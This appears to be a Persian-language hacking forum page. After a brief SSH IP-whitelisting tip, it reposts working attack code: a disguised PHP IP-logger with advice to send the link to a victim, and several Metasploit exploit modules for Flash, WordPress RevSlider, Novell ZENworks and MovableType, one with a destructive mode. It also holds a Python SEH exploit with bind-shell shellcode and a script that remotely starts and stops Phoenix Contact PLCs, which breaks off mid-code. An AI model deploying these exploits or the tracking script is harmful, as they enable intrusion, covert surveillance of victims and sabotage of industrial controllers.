    به کمک این روش میتوان برای ورود به ssh ایپی ست کرد و هیچ کس به جز ان ایپی به ssh دسترسی نخواهد داشت. برای این کار دستور زیر را وارد کنید : nano /etc/hosts.allow در صفحه ی باز شده متن زیر را قرار دهید : sshd : 5.250.12.158 : allow sshd : ALL : deny به جای 5.250.12.158 ایپی مدیرسرور(کسی که باید دسترسی به ssh داشته باشه) را وارد کنید. اگر ایپی استاتیک نیست و تغییر میکنه مثل ایپی های ایران باید رنج ایپی ست کنید برای مثال : sshd : 5.250. : allow sshd : ALL : deny به جای 5.250. دو رنج اول ایپی خودتون رو وارد کنید - اگه ایپی شما 25.36.24.124 هست دو رنج اول میشود .25.36 اگر میخواهید ایپی چند نفر allow باشد از کد زیر استفاده کنید : sshd : 5.250.12.158 : allow sshd : 5.250.12.159 : allow sshd : 5.250.12.160 : allow sshd : ALL : deny به این ترتیب میتونید ایپی هارو زیاد یا کم کنید. یا حق
  13. در این پست یکی از روش های رایج و عالی اینکار رو مطرح میکنیم.که البته در هکینگ هم ازش استفاده میشه و بر پایه مهندسی اجتماعی هست . میتونم بگم یکی از بهترین راه کار برای پیدا کردن IP تارگت ها هست. ما اینکار را با یک کدنویسی و اسکریپت php انجام میدیم. کد: <?php header('LOCATION: http://anonysec.org'); $ip = $_SERVER['REMOTE_ADDR']; $filename = "IPAddress".date("jMY"); $filename =$filename.".txt"; $file=fopen($filename,"a+"); fwrite($file,"**********************"); fwrite($file,"\r\nDate : "); fwrite($file,date("j D M Y")); fwrite($file,"\r\nTime : "); fwrite($file,date("g:i a e")); fwrite($file,"\r\n**********************"); fwrite($file,"\r\nIP ADDRESS : "); fwrite($file,$ip); fwrite($file,"\r\n**********************"); fwrite($file,"\r\n\r\n"); fclose($file); ?> حالا اون فایل php را میتوانید تغییرات لازم رو توش بدین که مثلا به کدام آدرس ریدایرکت بشه و کاربر شک نکنه و … بعد از انجام تغییرات میتوانید در سرور رایگان یا پولی خودتان آپلود کنید و لینک را به قربانی بدین. با یکبار اجرا توسط قربانی ، اطلاعاتی نظیر آی پی ، نوع مرورگر، زمان و تاریخ در سرور شما سیو خواهد شد. نکته : در صورت امکان در ایندکس سیو کنید ینی با نام index.php در سرور تا به عنوان ایندکس سایت بتونین لینک رو به قربانی بدین مثلا به اینصورت : کد: http://site.com
  14. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player domainMemory ByteArray Use After Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, when forcing a reallocation by copying more contents than the original capacity, but Flash forgets to update the domainMemory pointer, leading to a use-after-free situation when the main worker references the domainMemory again. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 17.0.0.134. }, 'License' => MSF_LICENSE, 'Author' => [ 'bilou', # Vulnerability discovery according to Flash Advisory 'Unknown', # Exploit in the wild 'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one) 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0359'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'], ['URL', 'https://git.hacklab.kr/snippets/13'], ['URL', 'http://pastebin.com/Wj3NViUu'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 14 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end
  15. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress ThemePunch Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Simo Ben youssef', # Vulnerability discovery 'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'], ['EDB', '35385'], ['WPVDB', '7954'], ['OSVDB', '115118'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]], 'DisclosureDate' => 'Nov 26 2015', 'DefaultTarget' => 0) ) end def check release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt') check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96') end def exploit php_pagename = rand_text_alpha(4 + rand(4)) + '.php' # Build the zip payload_zip = Rex::Zip::Archive.new # If the filename in the zip is revslider.php it will be automatically # executed but it will break the plugin and sometimes WordPress payload_zip.add_file('revslider/' + php_pagename, payload.encoded) # Build the POST body data = Rex::MIME::Message.new data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"') data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"') data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"") post_data = data.to_s res = send_request_cgi( 'uri' => wordpress_url_admin_ajax, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) if res if res.code == 200 && res.body =~ /Update in progress/ # The payload itself almost never deleted, try anyway register_files_for_cleanup(php_pagename) # This normally works register_files_for_cleanup('../revslider.zip') final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename) print_good("#{peer} - Our payload is at: #{final_uri}") print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(final_uri), 'timeout' => 5 ) elsif res.code == 200 && res.body =~ /^0$/ # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end end end
  16. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player NetConnection Type Confusion', 'Description' => %q{ This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. }, 'License' => MSF_LICENSE, 'Author' => [ 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0336'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf @trigger = create_trigger super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) trigger_hex_stream = @trigger.unpack('H*')[0] html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end def create_trigger path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end
  17. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in Novell ZENworks Configuration Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in the UploadServlet which accepts unauthenticated file uploads and does not check the "uid" parameter for directory traversal characters. This allows an attacker to write anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a Metasploit exploit, but it abuses a different parameter of the same servlet. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0779'], ['OSVDB', '120382'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Novell ZCM < v11.3.2 - Universal Java', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 7 2015')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), OptString.new('TOMCAT_PATH', [false, 'The Tomcat webapps traversal path (from the temp directory)']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload_war_and_exec(tomcat_path) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s print_status("#{peer} - Uploading WAR file to #{tomcat_path}") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'POST', 'data' => war_payload, 'ctype' => 'application/octet-stream', 'vars_get' => { 'uid' => tomcat_path, 'filename' => "#{app_base}.war" } }) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else print_error("#{peer} - Failed to upload, try again with a different path?") return false end 10.times do Rex.sleep(2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Failure. Unexpected answer break if res.code != 200 # Unless session... keep looping return true if session_created? end false end def exploit tomcat_paths = [] if datastore['TOMCAT_PATH'] tomcat_paths << datastore['TOMCAT_PATH'] end tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) tomcat_paths.each do |tomcat_path| break if upload_war_and_exec(tomcat_path) end end end
  18. Hacking

    #!/usr/bin/python # Exploit Title : i.FTP 2.21 Time Field SEH Exploit # Exploit Author : Revin Hadi S # Vulnerability PoC : Avinash Kumar Thapa "-Acid" # PoC Link : https://www.exploit-db.com/exploits/36847/ # Date : 05/08/2015 # Vendor : http://www.memecode.com/iftp.php # Software Link : http://www.memecode.com/data/iftp-win32-v2.21.exe # Version : 2.21 # Tested On : Win 7 SP1 Eng & Win XP SP2 # Triggering Exploit : Go to Schedule > Schedule download > {+} >Time field # msfpayload windows/shell_bind_tcp LPORT=5698 R | msfencode -a x86 -e x86/alpha_upper BufferRegister=EAX -t c shellcode = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56" "\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30" "\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b" "\x4c\x4a\x48\x4c\x49\x33\x30\x53\x30\x53\x30\x35\x30\x4b\x39" "\x4a\x45\x30\x31\x4e\x32\x55\x34\x4c\x4b\x31\x42\x46\x50\x4c" "\x4b\x51\x42\x54\x4c\x4c\x4b\x46\x32\x35\x44\x4c\x4b\x54\x32" "\x57\x58\x54\x4f\x38\x37\x31\x5a\x31\x36\x50\x31\x4b\x4f\x36" "\x51\x59\x50\x4e\x4c\x47\x4c\x53\x51\x53\x4c\x44\x42\x56\x4c" "\x47\x50\x49\x51\x48\x4f\x54\x4d\x43\x31\x39\x57\x4d\x32\x4a" "\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x34\x50\x4c\x4b\x51\x52" "\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x51\x50\x54\x38\x4d\x55\x39" "\x50\x32\x54\x50\x4a\x45\x51\x58\x50\x56\x30\x4c\x4b\x50\x48" "\x44\x58\x4c\x4b\x36\x38\x47\x50\x33\x31\x48\x53\x5a\x43\x47" "\x4c\x30\x49\x4c\x4b\x36\x54\x4c\x4b\x33\x31\x38\x56\x46\x51" "\x4b\x4f\x50\x31\x49\x50\x4e\x4c\x4f\x31\x38\x4f\x44\x4d\x55" "\x51\x48\x47\x46\x58\x4d\x30\x33\x45\x4b\x44\x44\x43\x53\x4d" "\x4a\x58\x47\x4b\x43\x4d\x47\x54\x54\x35\x5a\x42\x30\x58\x4c" "\x4b\x31\x48\x51\x34\x53\x31\x49\x43\x52\x46\x4c\x4b\x44\x4c" "\x30\x4b\x4c\x4b\x36\x38\x45\x4c\x55\x51\x4e\x33\x4c\x4b\x55" "\x54\x4c\x4b\x43\x31\x38\x50\x4b\x39\x57\x34\x37\x54\x37\x54" "\x31\x4b\x51\x4b\x53\x51\x51\x49\x51\x4a\x46\x31\x4b\x4f\x4d" "\x30\x31\x48\x51\x4f\x31\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x46" "\x31\x4d\x33\x58\x46\x53\x47\x42\x43\x30\x43\x30\x43\x58\x52" "\x57\x42\x53\x36\x52\x31\x4f\x50\x54\x43\x58\x30\x4c\x52\x57" "\x51\x36\x43\x37\x4b\x4f\x4e\x35\x38\x38\x4c\x50\x55\x51\x33" "\x30\x35\x50\x46\x49\x4f\x34\x36\x34\x36\x30\x52\x48\x57\x59" "\x4d\x50\x52\x4b\x53\x30\x4b\x4f\x58\x55\x46\x30\x50\x50\x36" "\x30\x30\x50\x31\x50\x46\x30\x31\x50\x50\x50\x35\x38\x4b\x5a" "\x44\x4f\x39\x4f\x4d\x30\x4b\x4f\x39\x45\x4c\x49\x48\x47\x50" "\x31\x49\x4b\x46\x33\x52\x48\x43\x32\x55\x50\x32\x36\x50\x42" "\x4c\x49\x4b\x56\x52\x4a\x52\x30\x36\x36\x31\x47\x43\x58\x39" "\x52\x59\x4b\x57\x47\x32\x47\x4b\x4f\x39\x45\x50\x53\x46\x37" "\x32\x48\x38\x37\x4b\x59\x56\x58\x4b\x4f\x4b\x4f\x39\x45\x31" "\x43\x51\x43\x30\x57\x35\x38\x33\x44\x5a\x4c\x57\x4b\x4b\x51" "\x4b\x4f\x49\x45\x51\x47\x4c\x49\x4f\x37\x33\x58\x33\x45\x42" "\x4e\x50\x4d\x33\x51\x4b\x4f\x59\x45\x32\x48\x32\x43\x42\x4d" "\x52\x44\x43\x30\x4c\x49\x5a\x43\x46\x37\x51\x47\x31\x47\x30" "\x31\x4a\x56\x52\x4a\x34\x52\x50\x59\x31\x46\x4a\x42\x4b\x4d" "\x53\x56\x39\x57\x57\x34\x31\x34\x47\x4c\x53\x31\x55\x51\x4c" "\x4d\x31\x54\x46\x44\x52\x30\x38\x46\x55\x50\x51\x54\x46\x34" "\x30\x50\x30\x56\x36\x36\x46\x36\x50\x46\x31\x46\x50\x4e\x56" "\x36\x46\x36\x50\x53\x30\x56\x55\x38\x53\x49\x58\x4c\x37\x4f" "\x4c\x46\x4b\x4f\x59\x45\x4d\x59\x4b\x50\x50\x4e\x46\x36\x50" "\x46\x4b\x4f\x50\x30\x53\x58\x43\x38\x4d\x57\x45\x4d\x35\x30" "\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x58\x35\x39\x32\x56\x36\x33" "\x58\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x37\x4c" "\x35\x56\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4d\x30\x33\x45\x44" "\x45\x4f\x4b\x47\x37\x42\x33\x32\x52\x52\x4f\x52\x4a\x35\x50" "\x31\x43\x4b\x4f\x39\x45\x41\x41") # Align Shellcode to EAX register align = "\x58"*3 # POP EAX; POP EAX; POP EAX align += "\x2d\x77\x77\x77\x77" # SUB EAX, 0x77777777 align += "\x2d\x77\x33\x33\x33" # SUB EAX, 0x33333377 align += "\x2d\x77\x22\x22\x22" # SUB EAX, 0x22222277 align += "\x2d\x3b\x32\x33\x33" # SUB EAX, 0x3333323b buffer = "A"*300 buffer += "\x40\x75\x21\x40" buffer += "\x67\x59\x02\x10" # /p/p/r Lgi.dll buffer += "DOGE"*7 buffer += align buffer += "\x43"*37 buffer += shellcode f = open("evil.txt", "wb") f.write(buffer) f.close()
  19. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SixApart MovableType Storable Perl Code Execution', 'Description' => %q{ This module exploits a serialization flaw in MovableType before 5.2.12 to execute arbitrary code. The default nondestructive mode depends on the target server having the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. The destructive mode of operation uses only required MovableType dependencies, but it will noticeably corrupt the MovableType installation. }, 'Author' => [ 'John Lightsey', ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-1592' ], [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], ], 'Privileged' => false, # web server context 'Payload' => { 'DisableNops' => true, 'BadChars' => ' ', 'Space' => 1024, }, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'Feb 11 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) ], self.class ) end =begin #!/usr/bin/perl # generate config parameters for injection checks use Storable; { package XXXCHECKXXX; sub STORABLE_thaw { return 1; } sub STORABLE_freeze { return 1; } } my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); $frozen = unpack 'H*', $frozen; print "LFI test for storable flaw is: $frozen\n"; { package DateTime; use overload '+' => sub { 'ignored' }; } =end def check vprint_status("#{peer} - Sending storable test injection for XXXCHECKXXX.pm load failure") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'retry', 'step' => 'configure', 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' } }) unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") vprint_status("#{peer} - Failed XXXCHECKXXX.pm load test"); return Exploit::CheckCode::Safe end Exploit::CheckCode::Vulnerable end def exploit if datastore['DESTRUCTIVE'] == true exploit_destructive else exploit_nondestructive end end =begin #!/usr/bin/perl # Generate nondestructive config parameter for RCE via Object::MultiType # and Try::Tiny. The generated value requires minor modification to insert # the payload inside the system() call and resize the padding. use Storable; { package Object::MultiType; use overload '+' => sub { 'ingored' }; } { package Object::MultiType::Saver; } { package DateTime; use overload '+' => sub { 'ingored' }; } { package Try::Tiny::ScopeGuard; } my $try_tiny_loader = bless {}, 'DateTime'; my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; my $data = [$try_tiny_loader, $try_tiny_executor]; my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); $frozen = unpack 'H*', $frozen; print "RCE payload requiring Object::MultiType and DateTime: $frozen\n"; =end def exploit_nondestructive print_status("#{peer} - Using nondestructive attack method") config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" config_payload << payload.encoded.unpack('H*')[0] config_payload << "7d293b" config_payload << "23" * (1025 - payload.encoded.length) config_payload << "0a657869743b" print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'retry', 'step' => 'configure', 'config' => config_payload } }, 5) end =begin #!/usr/bin/perl # Generate destructive config parameter to unlink mt-config.cgi use Storable; { package CGITempFile; } my $unlink_target = "mt-config.cgi"; my $cgitempfile = bless \$unlink_target, "CGITempFile"; my $data = [$cgitempfile]; my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); $frozen = unpack 'H*', $frozen; print "RCE unlink payload requiring CGI: $frozen\n"; =end def exploit_destructive print_status("#{peer} - Using destructive attack method") # First we need to delete mt-config.cgi using the storable injection print_status("#{peer} - Sending storable injection to unlink mt-config.cgi") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'retry', 'step' => 'configure', 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' } }) if res && res.code == 200 print_status("Successfully sent unlink request") else fail_with(Failure::Unknown, "Error sending unlink request") end # Now we rewrite mt-config.cgi to accept a payload print_status("#{peer} - Rewriting mt-config.cgi to accept the payload") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'next_step', 'step' => 'optional', 'default_language' => 'en_us', 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", 'set_static_uri_to' => '/', 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', } }) if res && res.code == 200 print_status("Successfully sent mt-config rewrite request") else fail_with(Failure::Unknown, "Error sending mt-config rewrite request") end # Finally send the payload print_status("#{peer} - Sending payload request") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), 'vars_get' => { 'xyzzy' => payload.encoded, } }, 5) end end
  20. Hacking

    #! /usr/bin/env python ''' # Exploit Title: Phoenix Contact ILC 150 ETH PLC Remote Control script # Date: 2015-05-19 # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be # Vendor Homepage: https://www.phoenixcontact.com/online/portal/us?urile=pxc-oc-itemdetail:pid=2985330 # Version: ALL FW VERSIONS # Tested on: Python runs on Windows, Linux # CVE : CVE-2014-9195 Copyright 2015 Photubias(c) Written for Howest(c) University College This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name ControlPLC.py written by tijl[dot]deneut[at]howest[dot]be This POC will print out the current status of the PLC, continuously every 0.1 second, after 3 seconds it reverts (start becomes stop, stop becomes cold start), and stops after 5 seconds Works on ILC 15x ETH, partly on RFC 43x, partly on ILC 39x ''' import sys, socket, binascii, time, os, select, re IP='' infoport=1962 controlport=41100 ## Defining Functions First def send_and_recv(s,size,strdata): data = binascii.unhexlify(strdata) ## Convert to real HEX (\x00\x00 ...) s.send(data) ret = s.recv(4096) return ret def doAction(s,strdata): ret = send_and_recv(s,1000,strdata) # In official state these are send, they do not seem to be needed send_and_recv(s,1000,packet1) send_and_recv(s,1000,packet2) send_and_recv(s,1000,packet2) ret = send_and_recv(s,1000,'010002000000020003000100000000000840') send_and_recv(s,1000,packet2) return ret def initMonitor(s): send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200') send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200') 